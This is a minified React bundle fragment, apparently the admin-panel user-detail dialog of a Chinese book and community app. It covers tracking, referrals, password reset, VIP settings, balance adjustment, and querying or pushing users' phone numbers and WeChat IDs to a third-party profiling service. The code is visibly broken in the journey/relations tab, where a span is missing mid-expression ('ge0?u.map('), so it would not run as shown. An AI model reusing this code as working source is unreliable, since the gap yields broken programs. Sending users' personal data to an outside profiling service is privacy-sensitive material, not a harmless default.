De(`/api/admin/user/track?userId=${encodeURIComponent(n)}&limit=50`);ge!=null&&ge.success&&ge.tracks&&c(ge.tracks)}catch{c([])}try{const ge=await De(`/api/db/users/referrals?userId=${encodeURIComponent(n)}`);ge!=null&&ge.success&&ge.referrals&&h(ge.referrals)}catch{h([])}try{const ge=await De(`/api/admin/users/${encodeURIComponent(n)}/balance`);ge!=null&&ge.success&&ge.data?m(ge.data):m(null)}catch{m(null)}}catch(pe){console.error("Load user detail error:",pe)}finally{y(!1)}}}async function xt(){if(!(a!=null&&a.phone)){ie.info("用户未绑定手机号,无法同步");return}w(!0);try{const pe=await vt("/api/ckb/sync",{action:"full_sync",phone:a.phone,userId:a.id});pe!=null&&pe.success?(ie.success("同步成功"),Je()):ie.error("同步失败: "+(pe==null?void 0:pe.error))}catch(pe){console.error("Sync CKB error:",pe),ie.error("同步失败")}finally{w(!1)}}async function ct(){if(a){if(P.isVip&&!P.vipExpireDate.trim()){ie.error("开启 VIP 请填写有效到期日");return}k(!0);try{const pe={id:a.id,phone:T||void 0,nickname:O||void 0,tags:JSON.stringify(R),isVip:P.isVip,vipExpireDate:P.isVip?P.vipExpireDate:void 0,vipRole:P.vipRole||void 0,vipName:P.vipName||void 0,vipProject:P.vipProject||void 0,vipContact:P.vipContact||void 0,vipBio:P.vipBio||void 0},ge=await zt("/api/db/users",pe);ge!=null&&ge.success?(ie.success("保存成功"),Je(),r==null||r()):ie.error("保存失败: "+(ge==null?void 0:ge.error))}catch(pe){console.error("Save user error:",pe),ie.error("保存失败")}finally{k(!1)}}}const nt=()=>{_&&!R.includes(_)&&(D([...R,_]),Z(""))},gt=pe=>D(R.filter(ge=>ge!==pe));async function Rt(){if(a){if(!ne){ie.error("请输入新密码");return}if(ne!==xe){ie.error("两次密码不一致");return}if(ne.length<6){ie.error("密码至少 6 位");return}oe(!0);try{const pe=await zt("/api/db/users",{id:a.id,password:ne});pe!=null&&pe.success?(ie.success("修改成功"),fe(""),$("")):ie.error("修改失败: "+((pe==null?void 0:pe.error)||""))}catch{ie.error("修改失败")}finally{oe(!1)}}}async function gn(){if(!a)return;const pe=parseFloat(J);if(Number.isNaN(pe)||pe===0){ie.error("请输入有效金额(正数增加、负数扣减)");return}ce(!0);try{const ge=await vt(`/api/admin/users/${a.id}/balance/adjust`,{amount:pe,remark:B||void 0});ge!=null&&ge.success?(ie.success("余额已调整"),le(!1),Y(""),re(""),Je(),r==null||r()):ie.error("调整失败: "+((ge==null?void 0:ge.error)||""))}catch{ie.error("调整失败")}finally{ce(!1)}}async function mr(){if(!yt&&!Yt&&!In){ln("请至少输入手机号、微信号或 OpenID 中的一项");return}Re(!0),ln(null),lt(null);try{const pe=new URLSearchParams;yt&&pe.set("phone",yt),Yt&&pe.set("openId",Yt),In&&pe.set("wechatId",In);const ge=await De(`/api/admin/shensheshou/query?${pe}`);ge!=null&&ge.success&&ge.data?(lt(ge.data),a&&await wr(ge.data)):ln((ge==null?void 0:ge.error)||"未查询到数据,该用户可能未在神射手收录")}catch(pe){console.error("SSS query error:",pe),ln("请求失败,请检查神射手接口配置")}finally{Re(!1)}}async function wr(pe){if(a)try{await vt("/api/admin/shensheshou/enrich",{userId:a.id,phone:yt||a.phone||"",openId:Yt||a.openId||"",wechatId:In||a.wechatId||""}),Je()}catch(ge){console.error("SSS enrich error:",ge)}}async function As(){if(a){pr(!0),Hn(null);try{const pe={users:[{phone:a.phone||"",name:a.nickname||"",openId:a.openId||"",tags:R}]},ge=await vt("/api/admin/shensheshou/ingest",pe);ge!=null&&ge.success&&ge.data?Hn(ge.data):Hn({error:(ge==null?void 0:ge.error)||"推送失败"})}catch(pe){console.error("SSS ingest error:",pe),Hn({error:"请求失败"})}finally{pr(!1)}}}const Wr=pe=>{const Pt={view_chapter:Br,purchase:Og,match:Zn,login:co,register:co,share:Ss,bind_phone:mA,bind_wechat:sA,fill_profile:zc,visit_page:ml}[pe]||Ag;return s.jsx(Pt,{className:"w-4 h-4"})};return t?s.jsxs(s.Fragment,{children:[s.jsx(Dt,{open:t,onOpenChange:()=>e(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-hidden",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"用户详情",(a==null?void 0:a.phone)&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 ml-2",children:"已绑定手机"}),(a==null?void 0:a.isVip)&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0",children:"VIP"})]})}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):a?s.jsxs("div",{className:"flex flex-col h-[75vh]",children:[s.jsxs("div",{className:"flex items-center gap-4 p-4 bg-[#0a1628] rounded-lg mb-3",children:[s.jsx("div",{className:"w-16 h-16 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-2xl text-[#38bdac] shrink-0",children:a.avatar?s.jsx("img",{src:a.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Is=a.nickname)==null?void 0:Is.charAt(0))||"?"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("h3",{className:"text-lg font-bold text-white",children:a.nickname}),a.isAdmin&&s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 border-0",children:"管理员"}),a.hasFullBook&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0",children:"全书已购"}),a.vipRole&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0",children:a.vipRole})]}),s.jsxs("p",{className:"text-gray-400 text-sm mt-1",children:[a.phone?`📱 ${a.phone}`:"未绑定手机",a.wechatId&&` · 💬 ${a.wechatId}`,a.mbti&&` · ${a.mbti}`]}),s.jsxs("div",{className:"flex items-center gap-4 mt-1",children:[s.jsxs("p",{className:"text-gray-600 text-xs",children:["ID: ",a.id.slice(0,16),"…"]}),a.referralCode&&s.jsxs("p",{className:"text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"推广码:"}),s.jsx("code",{className:"text-[#38bdac] bg-[#38bdac]/10 px-1.5 py-0.5 rounded",children:a.referralCode})]})]})]}),s.jsxs("div",{className:"text-right shrink-0",children:[s.jsxs("p",{className:"text-[#38bdac] font-bold text-lg",children:["¥",(a.earnings||0).toFixed(2)]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"累计收益"})]})]}),s.jsxs(yd,{value:C,onValueChange:E,className:"flex-1 flex flex-col overflow-hidden",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-3 flex-wrap h-auto gap-1",children:[s.jsx(Zt,{value:"info",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"基础信息"}),s.jsx(Zt,{value:"tags",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"标签体系"}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(ml,{className:"w-3 h-3 mr-1"}),"用户旅程"]}),s.jsx(Zt,{value:"relations",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"关系链路"}),s.jsxs(Zt,{value:"shensheshou",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(li,{className:"w-3 h-3 mr-1"}),"用户资料完善"]})]}),s.jsxs(en,{value:"info",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入手机号",value:T,onChange:pe=>I(pe.target.value),disabled:!!(a!=null&&a.phone)}),(a==null?void 0:a.phone)&&s.jsx("p",{className:"text-xs text-gray-500",children:"编辑时手机号不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入昵称",value:O,onChange:pe=>L(pe.target.value)})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.openId&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"微信 OpenID"}),s.jsx("p",{className:"text-gray-300 font-mono text-xs break-all",children:a.openId})]}),a.region&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(tj,{className:"w-4 h-4 text-gray-500"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs",children:"地区"}),s.jsx("p",{className:"text-white",children:a.region})]})]}),a.industry&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"行业"}),s.jsx("p",{className:"text-white",children:a.industry})]}),a.position&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"职位"}),s.jsx("p",{className:"text-white",children:a.position})]})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"推荐人数"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:a.referralCount??0})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"待提现"}),s.jsxs("p",{className:"text-2xl font-bold text-yellow-400",children:["¥",(a.pendingEarnings??0).toFixed(2)]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg flex flex-col justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"当前余额"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac]",children:["¥",((f==null?void 0:f.balance)??0).toFixed(2)]})]}),s.jsx(te,{size:"sm",variant:"outline",className:"mt-2 border-[#38bdac]/50 text-[#38bdac] hover:bg-[#38bdac]/10 text-xs",onClick:()=>{Y(""),re(""),le(!0)},children:"调整余额"})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"创建时间"}),s.jsx("p",{className:"text-sm text-white",children:a.createdAt?new Date(a.createdAt).toLocaleDateString():"-"})]})]}),s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(ej,{className:"w-4 h-4 text-yellow-400"}),s.jsx("span",{className:"text-white font-medium",children:"修改密码"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"新密码(至少6位)",value:ne,onChange:pe=>fe(pe.target.value)}),s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"确认密码",value:xe,onChange:pe=>$(pe.target.value)}),s.jsx(te,{size:"sm",onClick:Rt,disabled:H||!ne||!xe,className:"bg-yellow-500/20 hover:bg-yellow-500/30 text-yellow-400 border border-yellow-500/40",children:H?"保存中...":"确认修改"})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"设成超级个体"})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-400 text-sm",children:"VIP 会员"}),s.jsx(kt,{checked:P.isVip,onCheckedChange:pe=>K(ge=>({...ge,isVip:pe}))})]}),P.isVip&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"到期日"}),s.jsx(se,{type:"date",className:"bg-[#162840] border-gray-700 text-white text-sm",value:P.vipExpireDate,onChange:pe=>K(ge=>({...ge,vipExpireDate:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"角色"}),s.jsxs("select",{className:"w-full bg-[#162840] border border-gray-700 text-white rounded px-2 py-1.5 text-sm",value:P.vipRole,onChange:pe=>K(ge=>({...ge,vipRole:pe.target.value})),children:[s.jsx("option",{value:"",children:"请选择"}),V.map(pe=>s.jsx("option",{value:pe.name,children:pe.name},pe.id))]})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"展示名"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"创业老板排行展示名",value:P.vipName,onChange:pe=>K(ge=>({...ge,vipName:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"项目"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"如:某某科技",value:P.vipProject,onChange:pe=>K(ge=>({...ge,vipProject:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"联系方式"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"微信/手机等",value:P.vipContact,onChange:pe=>K(ge=>({...ge,vipContact:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"简介"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"简短介绍",value:P.vipBio,onChange:pe=>K(ge=>({...ge,vipBio:pe.target.value}))})]})]})]})]}),a.isVip&&s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"VIP 信息"}),s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0 text-xs",children:a.vipRole||"VIP"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.vipName&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"展示名:"}),s.jsx("span",{className:"text-white",children:a.vipName})]}),a.vipProject&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"项目:"}),s.jsx("span",{className:"text-white",children:a.vipProject})]}),a.vipContact&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"联系方式:"}),s.jsx("span",{className:"text-white",children:a.vipContact})]}),a.vipExpireDate&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"到期时间:"}),s.jsx("span",{className:"text-white",children:new Date(a.vipExpireDate).toLocaleDateString()})]})]}),a.vipBio&&s.jsx("p",{className:"text-gray-400 text-sm mt-2",children:a.vipBio})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-purple-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yi,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"微信归属"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"该用户归属在哪个微信号下"})]}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"输入归属微信号(如 wxid_xxxx)",value:q,onChange:pe=>We(pe.target.value)}),s.jsxs(te,{size:"sm",onClick:async()=>{if(!(!q||!a))try{await zt("/api/db/users",{id:a.id,wechatId:q}),ie.success("已保存微信归属"),Je()}catch{ie.error("保存失败")}},className:"bg-purple-500/20 hover:bg-purple-500/30 text-purple-400 border border-purple-500/30 shrink-0",children:[s.jsx(bn,{className:"w-4 h-4 mr-1"})," 保存"]})]}),a.wechatId&&s.jsxs("p",{className:"text-gray-500 text-xs mt-2",children:["当前归属:",s.jsx("span",{className:"text-purple-400",children:a.wechatId})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Ss,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝同步"})]}),s.jsx(te,{size:"sm",onClick:xt,disabled:N||!a.phone,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:N?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 同步中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1"})," 同步数据"]})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"同步状态:"}),a.ckbSyncedAt?s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 ml-1",children:"已同步"}):s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0 ml-1",children:"未同步"})]}),s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"最后同步:"}),s.jsx("span",{className:"text-gray-300 ml-1",children:a.ckbSyncedAt?new Date(a.ckbSyncedAt).toLocaleString():"-"})]})]})]})]}),s.jsxs(en,{value:"tags",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(zc,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户标签"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"基于《一场 Soul 的创业实验》维度打标"})]}),s.jsxs("div",{className:"mb-3 p-2.5 bg-[#38bdac]/5 border border-[#38bdac]/20 rounded-lg flex items-center gap-2 text-xs text-gray-400",children:[s.jsx(Mg,{className:"w-3.5 h-3.5 text-[#38bdac] shrink-0"}),"命中的标签自动高亮 · 系统根据行为轨迹和填写资料自动打标 · 手动点击补充或取消"]}),s.jsx("div",{className:"mb-4 space-y-3",children:[{category:"身份类型",tags:["创业者","打工人","自由职业","学生","投资人","合伙人"]},{category:"行业背景",tags:["电商","内容","传统行业","科技/AI","金融","教育","餐饮"]},{category:"痛点标签",tags:["找资源","找方向","找合伙人","想赚钱","想学习","找情感出口"]},{category:"付费意愿",tags:["高意向","已付费","观望中","薅羊毛"]},{category:"MBTI",tags:["ENTJ","INTJ","ENFP","INFP","ENTP","INTP","ESTJ","ISFJ"]}].map(pe=>s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1.5",children:pe.category}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:pe.tags.map(ge=>s.jsxs("button",{type:"button",onClick:()=>{R.includes(ge)?gt(ge):D([...R,ge])},className:`px-2 py-0.5 rounded text-xs border transition-all ${R.includes(ge)?"bg-[#38bdac]/20 border-[#38bdac]/50 text-[#38bdac]":"bg-transparent border-gray-700 text-gray-500 hover:border-gray-500 hover:text-gray-300"}`,children:[R.includes(ge)?"✓ ":"",ge]},ge))})]},pe.category))}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-3",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"已选标签"}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-3 min-h-[32px]",children:[R.map((pe,ge)=>s.jsxs(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0 pr-1",children:[pe,s.jsx("button",{type:"button",onClick:()=>gt(pe),className:"ml-1 hover:text-red-400",children:s.jsx(ir,{className:"w-3 h-3"})})]},ge)),R.length===0&&s.jsx("span",{className:"text-gray-600 text-sm",children:"暂未选择标签"})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"自定义标签(回车添加)",value:_,onChange:pe=>Z(pe.target.value),onKeyDown:pe=>pe.key==="Enter"&&nt()}),s.jsx(te,{onClick:nt,className:"bg-[#38bdac] hover:bg-[#2da396]",children:"添加"})]})]})]}),(()=>{const pe=a.tags||a.ckbTags||"";let ge=[];try{const On=typeof pe=="string"?JSON.parse(pe||"[]"):[];ge=Array.isArray(On)?On:typeof pe=="string"?pe.split(","):[]}catch{ge=typeof pe=="string"?pe.split(","):[]}const Pt=ge.map(On=>String(On).trim()).filter(Boolean);return Pt.length===0?null:s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[s.jsx(zc,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝标签"})]}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Pt.map((On,Qs)=>s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 border-0",children:On},Qs))})]})})()]}),s.jsxs(en,{value:"journey",className:"flex-1 overflow-auto",children:[s.jsxs("div",{className:"mb-3 p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(ml,{className:"w-4 h-4 text-[#38bdac]"}),s.jsxs("span",{className:"text-gray-400 text-sm",children:["记录用户从注册到付费的完整行动路径,共 ",o.length," 条记录"]})]}),s.jsx("div",{className:"space-y-2",children:o.length>0?o.map((pe,ge)=>s.jsxs("div",{className:"flex items-start gap-3 p-3 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex flex-col items-center",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-[#38bdac]",children:Wr(pe.action)}),ge0?u.map((pe,ge)=>{var On;const Pt=pe;return s.jsxs("div",{className:"flex items-center justify-between p-2 bg-[#162840] rounded",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-6 h-6 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-xs text-[#38bdac]",children:((On=Pt.nickname)==null?void 0:On.charAt(0))||"?"}),s.jsx("span",{className:"text-white text-sm",children:Pt.nickname})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Pt.status==="vip"&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"已购"}),s.jsx("span",{className:"text-gray-500 text-xs",children:Pt.createdAt?new Date(Pt.createdAt).toLocaleDateString():""})]})]},Pt.id||ge)}):s.jsx("p",{className:"text-gray-500 text-sm text-center py-4",children:"暂无推荐用户"})})]})}),s.jsxs(en,{value:"shensheshou",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(li,{className:"w-5 h-5 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户资料完善"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"通过多维度查询神射手数据,自动回填用户基础信息"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-2 mb-3",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"手机号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"11位手机号",value:yt,onChange:pe=>nn(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"微信 ID",value:In,onChange:pe=>Mt(pe.target.value)})]}),s.jsxs("div",{className:"col-span-2",children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信 OpenID"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"openid_xxxx(自动填入)",value:Yt,onChange:pe=>rn(pe.target.value)})]})]}),s.jsx(te,{onClick:mr,disabled:ye,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:ye?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 查询并自动回填中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Na,{className:"w-4 h-4 mr-1"})," 查询并自动完善用户资料"]})}),s.jsx("p",{className:"text-gray-600 text-xs mt-2",children:"查询成功后,神射手返回的标签将自动同步到该用户"}),Tt&&s.jsx("div",{className:"mt-3 p-3 bg-red-500/10 border border-red-500/30 rounded-lg text-red-400 text-sm",children:Tt}),Le&&s.jsxs("div",{className:"mt-3 space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"神射手 RFM 分"}),s.jsx("p",{className:"text-2xl font-bold text-[#38bdac]",children:Le.rfm_score??"-"})]}),s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"用户等级"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:Le.user_level??"-"})]})]}),Le.tags&&Le.tags.length>0&&s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"神射手标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Le.tags.map((pe,ge)=>s.jsx(qe,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/20",children:pe},ge))})]}),Le.last_active&&s.jsxs("div",{className:"text-sm text-gray-500",children:["最近活跃:",Le.last_active]})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx(li,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"推送用户数据到神射手"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"将本用户信息(手机号、昵称、标签等)同步至神射手,自动完善用户画像"})]}),s.jsx(te,{onClick:As,disabled:Rn||!a.phone,variant:"outline",className:"border-purple-500/40 text-purple-400 hover:bg-purple-500/10 bg-transparent shrink-0 ml-4",children:Rn?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 推送中"]}):s.jsxs(s.Fragment,{children:[s.jsx(li,{className:"w-4 h-4 mr-1"})," 推送"]})})]}),!a.phone&&s.jsx("p",{className:"text-yellow-500/70 text-xs",children:"⚠ 用户未绑定手机号,无法推送"}),Pn&&s.jsx("div",{className:"mt-3 p-3 bg-[#162840] rounded-lg text-sm",children:Pn.error?s.jsx("p",{className:"text-red-400",children:String(Pn.error)}):s.jsxs("div",{className:"space-y-1",children:[s.jsxs("p",{className:"text-green-400 flex items-center gap-1",children:[s.jsx(Mg,{className:"w-4 h-4"})," 推送成功"]}),Pn.enriched!==void 0&&s.jsxs("p",{className:"text-gray-400",children:["自动补全标签数:",String(Pn.new_tags_added??0)]})]})})]})]})]}),s.jsxs("div",{className:"flex justify-end gap-2 pt-3 border-t border-gray-700 mt-3",children:[s.jsxs(te,{variant:"outline",onClick:e,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"关闭"]}),s.jsxs(te,{onClick:ct,disabled:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),v?"保存中...":"保存修改"]})]})]}):s.jsx("div",{className:"text-center py-12 text-gray-500",children:"用户不存在"})]})}),s.jsx(Dt,{open:U,onOpenChange:le,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{children:"调整余额"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"调整金额(元)"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"正数增加,负数扣减,如 10 或 -5",value:J,onChange:pe=>Y(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"备注(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"如:活动补偿",value:B,onChange:pe=>re(pe.target.value)})]})]}),s.jsxs("div",{className:"flex justify-end gap-2",children:[s.jsx(te,{variant:"outline",onClick:()=>le(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:gn,disabled:ue,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:ue?"提交中...":"确认调整"})]})]})})]}):null}function hP(){const 